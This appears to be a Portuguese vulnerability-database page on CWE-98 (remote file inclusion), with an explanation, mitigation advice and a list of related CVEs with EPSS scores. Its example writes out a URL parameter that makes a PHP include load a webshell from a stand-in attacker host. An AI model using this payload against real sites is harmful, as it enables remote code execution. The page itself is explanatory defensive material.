Falhas do tipo CWE-98

1.303 resultados

Inclusão Remota de Arquivo

A aplicação inclui um arquivo fornecido pelo usuário sem validação adequada, permitindo que um atacante carregue e execute código malicioso de um servidor remoto. O erro ocorre quando a entrada do usuário é passada diretamente a funções como `include()`, `require()` ou equivalentes, sem sanitização ou whitelist.

Exemplo

Uma página PHP que faz `include($_GET['page'] . '.php')` permite que um atacante acesse `?page=http://malicioso.com/shell`, carregando e executando um webshell hospedado externamente no contexto da aplicação alvo.

Como mitigar

Valide e restrinja o parâmetro a uma lista branca de arquivos permitidos; nunca permita URLs remotas em includes; use funções seguras como `basename()` para remover paths, e desabilite `allow_url_include` no PHP. Idealmente, evite lógica dinâmica de includes — use routing/controllers explícitos.

CVE-2014-9186—A file inclusion vulnerability exists in the confd.exe module in Honeywell Experion PKS R40x before R400.6, R41x before R410.6, and R43x befEPSS 3.6%CVE-2024-9193CRITICALWHMpress <= 6.3-revision-0 - Unauthenticated Local File Inclusion to Arbitrary Options UpdateEPSS 3.3%CVE-2021-22968—A bypass of adding remote files in Concrete CMS (previously concrete5) File Manager leads to remote code execution in Concrete CMS (concreteEPSS 3.2%CVE-2024-8252HIGHClean Login <= 1.14.5 - Authenticated (Contributor+) Local File InclusionEPSS 3.0%CVE-2025-48157HIGHWordPress Formality <= 1.5.9 - Local File Inclusion VulnerabilityEPSS 2.7%CVE-2024-3806CRITICALPorto <= 7.1.0 - Unauthenticated Local File Inclusion via porto_ajax_postsEPSS 2.7%CVE-2024-31459HIGHCacti RCE vulnerability by file include in lib/plugin.phpEPSS 2.7%CVE-2022-40089CRITICALA remote file inclusion (RFI) vulnerability in Simple College Website v1.0 allows attackers to execute arbitrary code via a crafted PHP fileEPSS 2.7%CVE-2016-6565—The Imagely NextGen Gallery plugin for Wordpress prior to version 2.1.57 may execute code from an uploaded malicious fileEPSS 2.5%CVE-2015-10133HIGHSubscribe to Comments <= 2.1.2 - Local File IncludionEPSS 2.1%CVE-2023-2551HIGHPHP Remote File Inclusion in unilogies/bumsysEPSS 1.9%CVE-2026-85200HIGHGEO my WP <= 4.5.5.3 - Unauthenticated Local File InclusionEPSS 1.9%CVE-2025-32614HIGHWordPress EventON plugin <= 2.4 - Local File Inclusion vulnerabilityEPSS 1.9%CVE-2026-44177HIGHKirby: Pre-authentication path traversal and PHP file inclusion during user lookupEPSS 1.8%CVE-2024-32523HIGHWordPress Mailster plugin <= 4.0.6 - Unauthenticated Local File Inclusion vulnerabilityEPSS 1.8%CVE-2025-52562CRITICALConvey Panel Directory Traversal in LocaleController leading to Remote Code ExecutionEPSS 1.8%CVE-2024-3849HIGHClick to Chat – HoliThemes <= 3.35 - Authenticated (Contributor+) Local File InclusionEPSS 1.7%CVE-2020-13175—The Management Interface of the Teradici Cloud Access Connector and Cloud Access Connector Legacy for releases prior to April 20, 2020 (v15 EPSS 1.7%CVE-2025-0366HIGHJupiter X Core <= 4.8.7 - Authenticated (Contributor+) SVG Upload to Local File Inclusion (Remote Code Execution)EPSS 1.6%CVE-2024-2411CRITICALMasterStudy LMS <= 3.3.0 - Unauthenticated Local File Inclusion via modalEPSS 1.5%